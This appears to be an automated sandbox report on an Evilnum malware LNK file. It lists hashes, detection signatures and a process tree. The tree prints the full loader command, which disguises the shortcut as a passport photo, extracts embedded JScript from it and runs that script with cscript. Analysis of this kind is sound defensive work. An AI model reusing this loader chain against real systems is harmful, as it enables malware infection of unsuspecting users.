Analysis

  • max time kernel
    139s
  • max time network
    171s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24-01-2022 03:34

General

  • Target

    bb8b6c6b9b157b093ba5ff60ec5e9e9268b3efa4ebd46a403859a4d65d21cce7.lnk

  • Size

    971KB

  • MD5

    f8b83901acf1e744441b5c2b3d954354

  • SHA1

    fbcb367ec7dd64b253482b4475ccde6ff6b10ab0

  • SHA256

    bb8b6c6b9b157b093ba5ff60ec5e9e9268b3efa4ebd46a403859a4d65d21cce7

  • SHA512

    ad6fdfecfe6904439214fb7d63ed051ab222d8b3fd904c0a9fcb0ee51f3d769d7a4277a7e57052d4976b1a79634fd85d43722fd19bf28226e12d79b286c1111c

Score
10/10

Malware Config

Signatures

  • Evilnum

    A malware family with multiple components distributed through LNK files.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\bb8b6c6b9b157b093ba5ff60ec5e9e9268b3efa4ebd46a403859a4d65d21cce7.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3036
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "passport front.jpg.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "pass*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4068
      • C:\Windows\system32\forfiles.exe
        forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "pass*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
        3⤵
          PID:2096
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
          3⤵
            PID:1864
          • C:\Windows\system32\find.exe
            find "TRU4"
            3⤵
              PID:8
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" rd a"
              3⤵
                PID:4028
              • C:\Windows\system32\cscript.exe
                cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
                3⤵
                  PID:4284

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads